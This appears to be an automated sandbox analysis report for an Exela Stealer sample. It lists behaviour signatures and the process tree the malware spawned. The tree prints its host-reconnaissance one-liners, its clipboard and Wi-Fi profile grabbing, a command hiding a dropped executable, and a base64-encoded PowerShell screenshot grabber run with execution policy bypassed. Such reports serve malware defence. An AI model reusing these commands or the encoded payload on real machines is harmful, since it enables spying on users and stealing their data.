Overview

overview

10

Static

static

3

2026-10-01...ar.exe

windows10-2004-x64

10

2026-10-01...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/10/2026, 20:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  • Size 11.5MB
  • Sample261001-zawkysbc54
  • SHA256 fc25121417d3491273bb3ad8e518066c2ad5e9df74fdd1769749c8439adce9bc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectioncredential_accessdefense_evasiondiscoveryexecutionexelastealerpersistenceprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • Family: Exela Stealer

    Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.

    stealerexelastealer
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Loads dropped DLL 33 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Network Service Discovery 1 TTPs 2 IoCs

    Attempt to gather information on host's network.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 5 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 17 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 18 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

    discovery
  • Collects information from the system 1 TTPs 1 IoCs

    Uses WMIC.exe to find detailed system information.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4264
    • C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
      2⤵
      • Loads dropped DLL
      • Enumerates connected drives
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:5476
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "ver"
        3⤵
        • Executes a command shell one-liner
        PID:4400
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1144
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Detects videocard installed
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2760
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3192
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic computersystem get Manufacturer
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4956
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "gdb --version"
        3⤵
        • Executes a command shell one-liner
        PID:5872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2748
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:2416
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2240
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path Win32_ComputerSystem get Manufacturer
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1060
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3752
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4844
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Discovers running processes
          PID:5688
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ UpdateService\ .exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:820
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Local\ UpdateService\ .exe"
          4⤵
          • Views/modifies file attributes
          PID:3880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4708
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Discovers running processes
          PID:2572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2872
        • C:\Windows\system32\cmd.exe
          cmd.exe /c chcp
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4768
          • C:\Windows\system32\chcp.com
            chcp
            5⤵
              PID:3016
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2944
          • C:\Windows\system32\cmd.exe
            cmd.exe /c chcp
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3388
            • C:\Windows\system32\chcp.com
              chcp
              5⤵
                PID:6084
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:6112
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Discovers running processes
              PID:1744
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
            3⤵
            • Clipboard Data
            • Suspicious use of WriteProcessMemory
            PID:2000
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe Get-Clipboard
              4⤵
              • Clipboard Data
              • Enumerates connected drives
              • Suspicious behavior: EnumeratesProcesses
              PID:1196
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
            3⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2424
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:1504
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
            3⤵
            • Network Service Discovery
            • Suspicious use of WriteProcessMemory
            PID:5928
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:3676
            • C:\Windows\system32\HOSTNAME.EXE
              hostname
              4⤵
                PID:4300
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic logicaldisk get caption,description,providername
                4⤵
                • Reads the TCP/IP host and domain name from the registry
                • Collects information from the system
                • Suspicious behavior: EnumeratesProcesses
                PID:5244
              • C:\Windows\system32\net.exe
                net user
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2488
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  5⤵
                    PID:4256
                • C:\Windows\system32\query.exe
                  query user
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3624
                  • C:\Windows\system32\quser.exe
                    "C:\Windows\system32\quser.exe"
                    5⤵
                      PID:5468
                  • C:\Windows\system32\net.exe
                    net localgroup
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3324
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup
                      5⤵
                        PID:2596
                    • C:\Windows\system32\net.exe
                      net localgroup administrators
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4400
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 localgroup administrators
                        5⤵
                          PID:1080
                      • C:\Windows\system32\net.exe
                        net user guest
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4588
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user guest
                          5⤵
                            PID:4584
                        • C:\Windows\system32\net.exe
                          net user administrator
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4632
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user administrator
                            5⤵
                              PID:6004
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic startup get caption,command
                            4⤵
                            • Reads the TCP/IP host and domain name from the registry
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1132
                          • C:\Windows\system32\tasklist.exe
                            tasklist /svc
                            4⤵
                            • Discovers running processes
                            PID:1016
                          • C:\Windows\system32\ipconfig.exe
                            ipconfig /all
                            4⤵
                            • Gathers network information
                            PID:1540
                          • C:\Windows\system32\ROUTE.EXE
                            route print
                            4⤵
                              PID:2888
                            • C:\Windows\system32\ARP.EXE
                              arp -a
                              4⤵
                              • Network Service Discovery
                              PID:4736
                            • C:\Windows\system32\NETSTAT.EXE
                              netstat -ano
                              4⤵
                              • System Network Connections Discovery
                              • Gathers network information
                              PID:956
                            • C:\Windows\system32\sc.exe
                              sc query type= service state= all
                              4⤵
                              • Launches sc.exe
                              PID:828
                            • C:\Windows\system32\netsh.exe
                              netsh firewall show state
                              4⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:3668
                            • C:\Windows\system32\netsh.exe
                              netsh firewall show config
                              4⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:4492
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5168
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic csproduct get uuid
                              4⤵
                              • Reads the TCP/IP host and domain name from the registry
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4960
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5464
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                              4⤵
                              • Enumerates connected drives
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of WriteProcessMemory
                              PID:5740
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n1f5x5uv\n1f5x5uv.cmdline"
                                5⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1592
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE95C.tmp" "c:\Users\Admin\AppData\Local\Temp\n1f5x5uv\CSC7CB73494358749ABBF20F134B47E2424.TMP"
                                  6⤵
                                    PID:2640
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                              3⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4364
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic csproduct get uuid
                                4⤵
                                • Reads the TCP/IP host and domain name from the registry
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5768

                        Network

                              MITRE ATT&CK Enterprise v16

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              2
                              T1059

                              Windows Command Shell

                              1
                              T1059.003

                              Persistence

                              Account Manipulation

                              1
                              T1098

                              Create or Modify System Process

                              1
                              T1543

